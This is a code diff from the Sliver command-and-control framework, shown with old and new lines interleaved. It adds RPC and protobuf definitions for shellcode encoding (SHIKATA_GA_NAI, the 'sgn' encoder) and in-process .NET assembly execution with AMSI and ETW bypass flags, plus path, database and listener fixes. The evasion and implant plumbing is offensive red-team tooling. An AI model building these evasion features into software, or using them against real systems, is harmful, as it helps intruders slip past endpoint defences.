12, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
82, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
82, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
82, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
6, // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
|
||||
57, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
|
||||
57, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
|
||||
62, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
6, // 35: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
24, // 36: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
59, // 37: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
62, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
79, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
80, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
66, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
89, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
13, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
87, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
13, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
87, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
87, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
87, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
7, // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
|
||||
58, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
|
||||
58, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
|
||||
63, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
7, // 35: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
25, // 36: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
60, // 37: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
63, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
83, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
84, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
67, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
2, // 42: clientpb.Loot.Type:type_name -> clientpb.LootType
|
||||
3, // 43: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
|
||||
69, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
70, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
4, // 45: clientpb.Loot.FileType:type_name -> clientpb.FileType
|
||||
84, // 46: clientpb.Loot.File:type_name -> commonpb.File
|
||||
70, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
72, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
81, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
74, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
82, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
|
||||
83, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
|
||||
12, // 53: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
63, // 54: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
63, // 55: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
73, // 56: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
57, // [57:57] is the sub-list for method output_type
|
||||
57, // [57:57] is the sub-list for method input_type
|
||||
57, // [57:57] is the sub-list for extension type_name
|
||||
57, // [57:57] is the sub-list for extension extendee
|
||||
0, // [0:57] is the sub-list for field type_name
|
||||
89, // 46: clientpb.Loot.File:type_name -> commonpb.File
|
||||
71, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
73, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
85, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
75, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
87, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
|
||||
88, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
|
||||
5, // 53: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder
|
||||
87, // 54: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request
|
||||
88, // 55: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response
|
||||
86, // 56: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry
|
||||
13, // 57: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
64, // 58: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
64, // 59: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
74, // 60: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
5, // 61: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder
|
||||
62, // [62:62] is the sub-list for method output_type
|
||||
62, // [62:62] is the sub-list for method input_type
|
||||
62, // [62:62] is the sub-list for extension type_name
|
||||
62, // [62:62] is the sub-list for extension extendee
|
||||
0, // [0:62] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_clientpb_client_proto_init() }
|
||||
@@ -7267,14 +7544,50 @@ func file_clientpb_client_proto_init() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*ShellcodeEncodeReq); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*ShellcodeEncode); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*ShellcodeEncoderMap); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
File: protoimpl.DescBuilder{
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_clientpb_client_proto_rawDesc,
|
||||
NumEnums: 5,
|
||||
NumMessages: 77,
|
||||
NumEnums: 6,
|
||||
NumMessages: 81,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
|
||||
@@ -618,3 +618,29 @@ message DllHijackReq {
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
// [ Shellcode ] ----------------------------------------
|
||||
enum ShellcodeEncoder {
|
||||
SHIKATA_GA_NAI = 0;
|
||||
}
|
||||
|
||||
message ShellcodeEncodeReq {
|
||||
ShellcodeEncoder Encoder = 1;
|
||||
string Architecture = 2;
|
||||
uint32 Iterations = 3;
|
||||
bytes BadChars = 4;
|
||||
|
||||
bytes Data = 8;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ShellcodeEncode {
|
||||
|
||||
bytes Data = 8;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ShellcodeEncoderMap {
|
||||
map<string, ShellcodeEncoder> Encoders = 1;
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.5
|
||||
// source: commonpb/common.proto
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.5
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
|
||||
+647
-630
File diff suppressed because it is too large.
Load diff
@@ -77,6 +77,8 @@ service SliverRPC {
|
||||
rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
|
||||
rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
|
||||
rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
|
||||
rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode);
|
||||
rpc ShellcodeEncoderMap(commonpb.Empty) returns (clientpb.ShellcodeEncoderMap);
|
||||
|
||||
// *** Websites ***
|
||||
rpc Websites(commonpb.Empty) returns (clientpb.Websites);
|
||||
|
||||
@@ -1,4 +1,8 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v3.21.5
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -78,6 +82,8 @@ type SliverRPCClient interface {
|
||||
MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error)
|
||||
ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error)
|
||||
GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error)
|
||||
ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error)
|
||||
ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error)
|
||||
// *** Websites ***
|
||||
Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error)
|
||||
Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error)
|
||||
@@ -579,6 +585,24 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) {
|
||||
out := new(clientpb.ShellcodeEncode)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
out := new(clientpb.ShellcodeEncoderMap)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) {
|
||||
out := new(clientpb.Websites)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...)
|
||||
@@ -1391,6 +1415,8 @@ type SliverRPCServer interface {
|
||||
MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error)
|
||||
ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error)
|
||||
GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error)
|
||||
ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error)
|
||||
ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error)
|
||||
// *** Websites ***
|
||||
Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error)
|
||||
Website(context.Context, *clientpb.Website) (*clientpb.Website, error)
|
||||
@@ -1619,6 +1645,12 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel
|
||||
func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoderMap not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Websites not implemented")
|
||||
}
|
||||
@@ -2670,6 +2702,42 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.ShellcodeEncodeReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ShellcodeEncoder(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4244,6 +4312,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetCompiler",
|
||||
Handler: _SliverRPC_GetCompiler_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ShellcodeEncoder",
|
||||
Handler: _SliverRPC_ShellcodeEncoder_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ShellcodeEncoderMap",
|
||||
Handler: _SliverRPC_ShellcodeEncoderMap_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Websites",
|
||||
Handler: _SliverRPC_Websites_Handler,
|
||||
|
||||
@@ -284,6 +284,8 @@ const (
|
||||
MsgCurrentTokenOwnerReq
|
||||
// MsgCurrentTokenOwner - Replies with the current thread owner (resp to MsfCurrentToken)
|
||||
MsgCurrentTokenOwner
|
||||
// MsgInvokeInProcExecuteAssemblyReq - Request to load and execute a .NET assembly in-process
|
||||
MsgInvokeInProcExecuteAssemblyReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -497,6 +499,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgCurrentTokenOwnerReq
|
||||
case *CurrentTokenOwner:
|
||||
return MsgCurrentTokenOwner
|
||||
case *InvokeInProcExecuteAssemblyReq:
|
||||
return MsgInvokeInProcExecuteAssemblyReq
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+933
-716
File diff suppressed because it is too large.
Load diff
@@ -371,6 +371,11 @@ message ExecuteAssemblyReq {
|
||||
string AppDomain = 8;
|
||||
uint32 PPid = 10;
|
||||
repeated string ProcessArgs = 11;
|
||||
// In process specific fields
|
||||
bool InProcess = 12;
|
||||
string Runtime = 13;
|
||||
bool AmsiBypass = 14;
|
||||
bool EtwBypass = 15;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -383,6 +388,15 @@ message InvokeExecuteAssemblyReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message InvokeInProcExecuteAssemblyReq {
|
||||
bytes Data = 1;
|
||||
repeated string Arguments = 2;
|
||||
string Runtime = 3;
|
||||
bool AmsiBypass = 4;
|
||||
bool EtwBypass = 5;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteAssembly {
|
||||
bytes Output = 1;
|
||||
|
||||
@@ -612,6 +626,15 @@ message Backdoor {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Registry - Registry related messages
|
||||
enum RegistryType {
|
||||
Unknown = 0;
|
||||
Binary = 1;
|
||||
String = 2;
|
||||
DWORD = 3;
|
||||
QWORD = 4;
|
||||
}
|
||||
|
||||
message RegistryReadReq {
|
||||
string Hive = 1;
|
||||
string Path = 2;
|
||||
|
||||
+67
-15
@@ -158,7 +158,7 @@ func GetGPGPublicKey() (*packet.PublicKey, error) {
|
||||
func setupGo(appDir string) error {
|
||||
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
goRootPath := path.Join(appDir, GoDirName)
|
||||
goRootPath := filepath.Join(appDir, GoDirName)
|
||||
setupLog.Infof("GOPATH = %s", goRootPath)
|
||||
if _, err := os.Stat(goRootPath); !os.IsNotExist(err) {
|
||||
setupLog.Info("Removing old go root directory")
|
||||
@@ -175,14 +175,14 @@ func setupGo(appDir string) error {
|
||||
os.MkdirAll(goRootPath, 0700)
|
||||
|
||||
// Go compiler and stdlib
|
||||
goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
|
||||
goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
|
||||
goZip, err := assetsFs.ReadFile(goZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", goZipFSPath)
|
||||
return err
|
||||
}
|
||||
|
||||
goZipPath := path.Join(appDir, "go.zip")
|
||||
goZipPath := filepath.Join(appDir, "go.zip")
|
||||
defer os.Remove(goZipPath)
|
||||
ioutil.WriteFile(goZipPath, goZip, 0600)
|
||||
_, err = unzip(goZipPath, appDir)
|
||||
@@ -196,7 +196,7 @@ func setupGo(appDir string) error {
|
||||
setupLog.Info("static asset not found: src.zip")
|
||||
return err
|
||||
}
|
||||
goSrcZipPath := path.Join(appDir, "src.zip")
|
||||
goSrcZipPath := filepath.Join(appDir, "src.zip")
|
||||
defer os.Remove(goSrcZipPath)
|
||||
ioutil.WriteFile(goSrcZipPath, goSrcZip, 0600)
|
||||
_, err = unzip(goSrcZipPath, goRootPath)
|
||||
@@ -209,20 +209,32 @@ func setupGo(appDir string) error {
|
||||
if runtime.GOOS == "windows" {
|
||||
garbleFileName = "garble.exe"
|
||||
}
|
||||
garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
|
||||
garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
|
||||
garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Static asset not found: %s", garbleFile)
|
||||
return err
|
||||
}
|
||||
garbleLocalPath := path.Join(appDir, "go", "bin", garbleFileName)
|
||||
garbleLocalPath := filepath.Join(appDir, "go", "bin", garbleFileName)
|
||||
err = ioutil.WriteFile(garbleLocalPath, garbleFile, 0700)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to write garble %s", err)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
return setupSGN(appDir)
|
||||
}
|
||||
|
||||
func setupSGN(appDir string) error {
|
||||
goBinPath := filepath.Join(appDir, "go", "bin")
|
||||
sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
|
||||
sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
|
||||
return err
|
||||
}
|
||||
_, err = unzipBuf(sgnZip, goBinPath)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetupGoPath - Extracts dependencies to goPathSrc
|
||||
@@ -246,10 +258,10 @@ func SetupGoPath(goPathSrc string) error {
|
||||
return err
|
||||
}
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
ioutil.WriteFile(path.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
ioutil.WriteFile(path.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
ioutil.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
ioutil.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
|
||||
// Common PB
|
||||
commonpbSrc, err := protobufs.FS.ReadFile("commonpb/common.pb.go")
|
||||
@@ -257,9 +269,9 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: common.pb.go")
|
||||
return err
|
||||
}
|
||||
commonpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
|
||||
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
|
||||
os.MkdirAll(commonpbDir, 0700)
|
||||
ioutil.WriteFile(path.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
ioutil.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
|
||||
// DNS PB
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
@@ -267,9 +279,9 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
ioutil.WriteFile(path.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
ioutil.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -305,7 +317,7 @@ func unzipGoDependency(fsPath string, targetPath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
goDepZipPath := path.Join(appDir, path.Base(fsPath))
|
||||
goDepZipPath := filepath.Join(appDir, filepath.Base(fsPath))
|
||||
defer os.Remove(goDepZipPath)
|
||||
ioutil.WriteFile(goDepZipPath, goDep, 0600)
|
||||
_, err = unzip(goDepZipPath, targetPath)
|
||||
@@ -385,6 +397,46 @@ func unzip(src string, dest string) ([]string, error) {
|
||||
return filenames, nil
|
||||
}
|
||||
|
||||
func unzipBuf(src []byte, dest string) ([]string, error) {
|
||||
|
||||
var filenames []string
|
||||
|
||||
reader, err := zip.NewReader(bytes.NewReader(src), int64(len(src)))
|
||||
if err != nil {
|
||||
return filenames, err
|
||||
}
|
||||
|
||||
for _, file := range reader.File {
|
||||
|
||||
rc, err := file.Open()
|
||||
if err != nil {
|
||||
return filenames, err
|
||||
}
|
||||
defer rc.Close()
|
||||
|
||||
fPath := filepath.Join(dest, file.Name)
|
||||
filenames = append(filenames, fPath)
|
||||
|
||||
if file.FileInfo().IsDir() {
|
||||
os.MkdirAll(fPath, 0700)
|
||||
} else {
|
||||
if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
|
||||
return filenames, err
|
||||
}
|
||||
outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
|
||||
if err != nil {
|
||||
return filenames, err
|
||||
}
|
||||
_, err = io.Copy(outFile, rc)
|
||||
outFile.Close()
|
||||
if err != nil {
|
||||
return filenames, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return filenames, nil
|
||||
}
|
||||
|
||||
func pseudoRandStringRunes(n int) string {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
|
||||
|
||||
@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
|
||||
|
||||
serverConfig := configs.GetServerConfig()
|
||||
c2.StartPersistentJobs(serverConfig)
|
||||
console.StartPersistentJobs(serverConfig)
|
||||
if serverConfig.DaemonMode {
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort)
|
||||
} else {
|
||||
|
||||
@@ -83,14 +83,20 @@ func (c *DatabaseConfig) DSN() (string, error) {
|
||||
params := encodeParams(c.Params)
|
||||
return fmt.Sprintf("file:%s?%s", filePath, params), nil
|
||||
case MySQL:
|
||||
fallthrough
|
||||
case Postgres:
|
||||
user := url.QueryEscape(c.Username)
|
||||
password := url.QueryEscape(c.Password)
|
||||
db := url.QueryEscape(c.Database)
|
||||
host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port)
|
||||
params := encodeParams(c.Params)
|
||||
return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil
|
||||
case Postgres:
|
||||
user := url.QueryEscape(c.Username)
|
||||
password := url.QueryEscape(c.Password)
|
||||
db := url.QueryEscape(c.Database)
|
||||
host := url.QueryEscape(c.Host)
|
||||
port := c.Port
|
||||
params := encodeParams(c.Params)
|
||||
return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil
|
||||
default:
|
||||
return "", ErrInvalidDialect
|
||||
}
|
||||
|
||||
@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
|
||||
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
|
||||
}
|
||||
|
||||
func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
if cfg.Jobs == nil {
|
||||
return nil
|
||||
}
|
||||
for _, j := range cfg.Jobs.Multiplayer {
|
||||
jobStartClientListener(j.Host, j.Port)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func startMultiplayerModeCmd(ctx *grumble.Context) {
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
+104
-14
@@ -39,9 +39,16 @@ var (
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
configID := uuid.FromStringOrNil(id)
|
||||
if configID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
ID: configID,
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
|
||||
// ImplantBuildByName - Fetch implant build by name
|
||||
